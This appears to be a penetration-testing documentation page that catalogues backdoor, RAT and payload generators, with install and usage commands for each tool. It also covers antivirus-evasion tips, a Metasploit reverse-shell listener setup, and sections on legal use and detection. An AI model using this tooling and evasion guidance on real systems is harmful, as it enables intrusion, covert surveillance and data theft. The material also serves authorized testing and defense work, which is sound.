Payload Creation Tools

Critical Security Warning: These tools create malicious payloads and should ONLY be used in authorized penetration testing environments. Creating or distributing malware without authorization is illegal. Always obtain explicit written permission before using these tools.

Overview

Payload creation tools help security professionals generate custom backdoors and payloads for authorized penetration testing. These tools:

Create payloads that bypass antivirus detection
Generate backdoors for various platforms
Automate payload obfuscation and encoding
Provide reverse shell capabilities
Enable post-exploitation testing
Assess endpoint protection effectiveness

All payload creation should be performed in isolated lab environments with proper security controls.

Featured Tools

TheFatRat

Easy-to-use tool for creating undetectable backdoors

MSFvenom

Metasploit’s powerful payload generator wrapper

Venom

Advanced shellcode generator with Apache integration

Stitch

Cross-platform Python Remote Administrator Tool

Available Payload Creation Tools

Multi-Platform Payload Generators

TheFatRat

Description: TheFatRat provides an easy way to create backdoors and payloads which can bypass most anti-virus softwareInstallation:

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
sudo chmod +x setup.sh

Usage:

cd TheFatRat
sudo bash setup.sh

Features:

Multiple Payload Types: Windows, Linux, macOS, Android
AV Evasion: Built-in obfuscation techniques
Easy Interface: User-friendly menu system
Metasploit Integration: Works with MSF framework
Custom Backdoors: Create tailored payloads

Payload Types:

Windows backdoors (exe, dll)
Android APK backdoors
Powershell payloads
Macro-based payloads
PDF/Office document payloads

Additional Commands:

# Update TheFatRat
cd TheFatRat
bash update
chmod +x setup.sh
bash setup.sh

# Troubleshoot installation
cd TheFatRat
sudo chmod +x chk_tools
./chk_tools

GitHub: Screetsec/TheFatRat

MSFvenom Payload Creator (MSFPC)

Description: MSFvenom Payload Creator is a wrapper to generate multiple types of payloads based on user choice, simplifying the payload creation processInstallation:

git clone https://github.com/g0tmi1k/msfpc.git
cd msfpc
sudo chmod +x msfpc.sh

Usage:

cd msfpc

# Show help and version
sudo bash msfpc.sh -h -v

# Generate Windows payload
./msfpc.sh windows

# Generate Linux payload
./msfpc.sh linux

# Generate Android payload
./msfpc.sh apk

Features:

Simplified MSFvenom interface
Multiple payload formats
Automatic listener setup
Batch payload generation
Template-based creation

Supported Platforms:

Windows (exe, dll, msi)
Linux (elf)
macOS (macho)
Android (apk)
Python, PHP, ASP
Java (jar, war)

GitHub: g0tmi1k/msfpc

Venom Shellcode Generator

Description: Venom 1.0.11 exploits Apache2 webserver to deliver payloads via fake webpages, providing advanced malicious server capabilitiesInstallation:

git clone https://github.com/r00t-3xp10it/venom.git
sudo chmod -R 775 venom*/
cd venom*/
cd aux
sudo bash setup.sh

# Update Venom
sudo ./venom.sh -u

Usage:

cd venom
sudo ./venom.sh

Features:

Apache2 Integration: Deploy payloads via web server
Fake Webpages: Deliver payloads through legitimate-looking pages
LAN Delivery: Target local network systems
Multiple Encoders: Bypass AV detection
Automation: Automated payload delivery

Use Cases:

LAN-based payload delivery
Web-based exploitation
Social engineering attacks
Internal penetration testing

GitHub: r00t-3xp10it/venom

Remote Administration Tools

Stitch - Cross Platform RAT

Description: Stitch is a Cross-Platform Python Remote Administrator Tool with support for Windows, macOS, and LinuxInstallation:

git clone https://github.com/nathanlopez/Stitch.git
cd Stitch

# Linux installation
sudo pip install -r lnx_requirements.txt

Usage:

cd Stitch
sudo python main.py

Features:

Cross-Platform: Windows, macOS, Linux support
Remote Control: Full system access
File Operations: Upload/download files
Command Execution: Run arbitrary commands
Persistence: Maintain access across reboots

Platform-Specific Requirements:

Linux: lnx_requirements.txt
Windows: Refer to documentation
macOS: Refer to documentation

For Windows and macOS installation instructions, refer to the project documentation.

Website: nathanlopez.github.io/Stitch

Specialized Payload Tools

Brutal - HID Attack Tool

Description: Brutal is a toolkit to quickly create various payloads, powershell attacks, virus attacks and launch listeners for Human Interface DevicesInstallation:

git clone https://github.com/Screetsec/Brutal.git
cd Brutal
sudo chmod +x Brutal.sh

Usage:

cd Brutal
sudo bash Brutal.sh

Requirements:

Arduino Software (v1.6.7 or higher)
TeensyDuino
Linux udev rules
PaensyLib folder in Arduino libraries

Installation Guide: Visit: Brutal Wiki - Install RequirementsFeatures:

HID attack payloads
PowerShell attack scripts
Teensy/Arduino support
Rubber Ducky payloads
Automated attack sequences

Attack Types:

USB Rubber Ducky attacks
Teensy-based attacks
PowerShell execution
Payload injection

GitHub: Screetsec/Brutal

Spycam

Description: Generates a Win32 payload that captures webcam images every 1 minute and sends them to the attackerInstallation:

git clone https://github.com/indexnotfound404/spycam.git
cd spycam
bash install.sh
chmod +x spycam

Usage:

cd spycam
./spycam

Features:

Automated webcam capture
Periodic image collection (1-minute intervals)
Remote image transmission
Windows target support

Use Cases:

Physical security testing
Social engineering assessment
Awareness training demonstrations

GitHub: indexnotfound404/spycam

Mobile & Android Payloads

Mob-Droid

Description: Mob-Droid generates Metasploit Android payloads easily without typing long commandsInstallation:

git clone https://github.com/kinghacker0/mob-droid.git

Usage:

cd mob-droid
sudo python mob-droid.py

Features:

Simplified Android payload generation
Metasploit integration
Multiple payload options
Easy-to-use interface
Automatic APK creation

Generated Payloads:

Android Meterpreter
Reverse TCP connections
Reverse HTTP/HTTPS
Custom LHOST/LPORT

GitHub: kinghacker0/Mob-Droid

Enigma - Multiplatform Payload Dropper

Description: Enigma is a multiplatform payload dropper for various operating systemsInstallation:

git clone https://github.com/UndeadSec/Enigma.git

Usage:

cd Enigma
sudo python enigma.py

Features:

Multi-platform support
Payload dropping capabilities
Various payload formats
Easy deployment

Supported Platforms:

Windows
Linux
Android
macOS

GitHub: UndeadSec/Enigma

Payload Development Workflow

Requirements Analysis

Identify target platform, required capabilities, and evasion requirements

Payload Generation

Use appropriate tool to generate payload with desired functionality

Obfuscation

Apply encoding and obfuscation techniques to evade detection

Testing

Test payload in isolated environment against security controls

Delivery

Deploy payload through authorized delivery mechanism

Handler Setup

Configure listener to receive connections from payload

Evasion Techniques

Antivirus Bypass Methods

Encoding

Multiple encoding layers to obscure payload signature

Encryption

Encrypt payload with runtime decryption

Obfuscation

Modify code structure and variable names

Packing

Use custom packers to compress and hide payload

Best Practices for AV Evasion

Evasion Testing Tips:

Use multiple encoding iterations
Avoid known malicious signatures
Test against target AV before deployment
Use custom templates instead of defaults
Implement time-based or environment-based execution
Utilize living-off-the-land binaries (LOLBins)

Example Workflows

Generate Windows Backdoor

# Using TheFatRat
cd TheFatRat
sudo bash setup.sh
# Select option for Windows backdoor
# Configure LHOST and LPORT
# Generate payload

# Using MSFPC
cd msfpc
./msfpc.sh windows
# Follow prompts for configuration

Create Android Payload

# Using Mob-Droid
cd mob-droid
sudo python mob-droid.py
# Select payload type
# Set LHOST and LPORT
# Generate APK

# Using TheFatRat
cd TheFatRat
sudo bash setup.sh
# Select Android APK option
# Configure settings
# Build APK

Setup Listener

# Start Metasploit
msfconsole

# Configure handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT <your_port>
exploit -j

Payload Types Comparison

Payload Type	Platform	Use Case	Stealth
EXE	Windows	Desktop/Server	Medium
DLL	Windows	Injection/Persistence	High
APK	Android	Mobile devices	Medium
ELF	Linux	Server/Desktop	Medium
Macro	Office	Document-based	High
PowerShell	Windows	Fileless attacks	Very High
Python	Cross-platform	Scripting	High

Security Testing Scenarios

Antivirus Testing

Test AV Detection Capabilities

Objective: Assess endpoint protection effectivenessProcess:

Generate baseline payload with default settings
Test detection rate
Apply obfuscation techniques
Retest with modified payload
Document detection results
Recommend improvements

Metrics:

Detection rate before/after obfuscation
Time to detection
Response actions taken
False positive rate

Red Team Operations

Simulate Advanced Threats

Objective: Test organizational security posturePhases:

Initial Access: Deliver payload via authorized method
Execution: Achieve code execution on target
Persistence: Maintain access across reboots
Privilege Escalation: Gain higher-level access
Defense Evasion: Avoid detection by security tools
Credential Access: Harvest credentials
Discovery: Enumerate environment
Lateral Movement: Spread to other systems
Collection: Gather sensitive data
Exfiltration: Remove data from network

Legal and Ethical Guidelines

Critical Legal Requirements:

Written Authorization: Obtain explicit written permission
Scope Definition: Clearly define authorized systems and activities
Legal Review: Have authorization reviewed by legal counsel
Compliance: Follow all applicable laws and regulations
Liability: Understand potential legal and liability issues
Criminal Laws: Be aware of computer fraud and abuse laws

Responsible Use

Ethical Guidelines:

Only create payloads for authorized testing
Store payloads securely in isolated environments
Never distribute payloads publicly
Delete payloads after testing completion
Document all payload creation and usage
Follow responsible disclosure for vulnerabilities found
Maintain professional certifications and standards

Detection and Defense

How to Detect Malicious Payloads

Signature Detection

Traditional AV using known malware signatures

Behavioral Analysis

Monitor for suspicious behavior patterns

Sandboxing

Execute files in isolated environment

Heuristic Analysis

AI/ML-based detection of malicious code

Defense Recommendations

Implement application whitelisting
Use advanced EDR solutions
Enable PowerShell logging and constraints
Deploy network segmentation
Monitor for unusual outbound connections
Regular security awareness training
Patch management and vulnerability scanning

Post-Exploitation Tools - What to do after payload execution
Exploit Frameworks - Complete exploitation frameworks
Phishing Tools - Payload delivery mechanisms

Training and Certifications

Recommended Learning Paths

OSCP - Offensive Security Certified Professional
CRTO - Certified Red Team Operator
PNPT - Practical Network Penetration Tester
eCPPT - eLearnSecurity Certified Professional Penetration Tester

Practice Environments

HackTheBox
TryHackMe
PentesterLab
VulnHub
SANS NetWars

Get Started

Usage Guide

Tool Categories

Advanced

​Overview

​Featured Tools

TheFatRat

MSFvenom

Venom

Stitch

​Available Payload Creation Tools

​Multi-Platform Payload Generators

​Remote Administration Tools

​Specialized Payload Tools

​Mobile & Android Payloads

​Payload Development Workflow

​Evasion Techniques

​Antivirus Bypass Methods

Encoding

Encryption

Obfuscation

Packing

​Best Practices for AV Evasion

​Example Workflows

​Generate Windows Backdoor

​Create Android Payload

​Setup Listener

​Payload Types Comparison

​Security Testing Scenarios

​Antivirus Testing

​Red Team Operations

​Legal and Ethical Guidelines

​Responsible Use

​Detection and Defense

​How to Detect Malicious Payloads

Signature Detection

Behavioral Analysis

Sandboxing

Heuristic Analysis

​Defense Recommendations

​Related Tools and Resources

​Training and Certifications

​Recommended Learning Paths

​Practice Environments

Build docs developers (and LLMs) love

Overview

Featured Tools

Available Payload Creation Tools

Multi-Platform Payload Generators

Remote Administration Tools

Specialized Payload Tools

Mobile & Android Payloads

Payload Development Workflow

Evasion Techniques

Antivirus Bypass Methods

Best Practices for AV Evasion

Example Workflows

Generate Windows Backdoor

Create Android Payload

Setup Listener

Payload Types Comparison

Security Testing Scenarios

Antivirus Testing

Red Team Operations

Legal and Ethical Guidelines

Responsible Use

Detection and Defense

How to Detect Malicious Payloads

Defense Recommendations

Related Tools and Resources

Training and Certifications

Recommended Learning Paths

Practice Environments